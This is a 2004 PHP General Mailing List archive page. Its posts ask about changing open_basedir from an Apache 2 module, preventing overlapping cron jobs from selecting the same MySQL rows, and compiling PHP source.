>to code a simple apache2 module, that will change the 'open_basedir' at
>runtime. Is it possible, or does anyone know how I can change this value?
>Am’ I posting to the right list?

After a little digging about I found this post:
http://marc.theaimsgroup.com/?l=php-dev&m=106084499620342&w=2

I've just wondering what headers and libraries I will need to compile in as
well? Do I just include the php.h, or is there a "how to" on this or some
example code I can view for this exact purpose?



mail2web - Check your email from the web at
http://mail2web.com/ .

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Dynamically change ''open_basedir' from Apache 2 Hander/Filter

2004-12-22 Thread [EMAIL PROTECTED]
Wasn't sure if I should post here or on the apache mailing list, but I want
to code a simple apache2 module, that will change the 'open_basedir' at
runtime. Is it possible, or does anyone know how I can change this value?
Am’ I posting to the right list?


mail2web - Check your email from the web at
http://mail2web.com/ .

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Any bright solution for my problem?

2004-12-22 Thread QT
Dear Sirs,

I have a database with thousands records. And every minutes I am selecting
50 rows from that database and send some data to another web url according
sellected 50 rows.

Whenever, my script finish job in one minute, I have no problem. Because
after each transaction, I am uptading one of the rows field as a "uesd".

BUT! if my script can not finish sending data to another url due to low
speed connection or such a problem. On the next minute, same script runs
automaticlay and sellecting another 50 rows which are not marked by "used".

In this case, some times these two running acripts are sellecting same rows
due to, old one haven't marked as a "used" for sellected rows.

Is there any way, to put flag or something like that, when sellecting rows
with php and mysql?

Best Regards

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: can I compile php source

2004-12-22 Thread QT
thanks all

"Qt" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> hi,
>
> is there any way to compile php source to make binary file for protecting
> source code?
>
> best regards

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



  1   2   >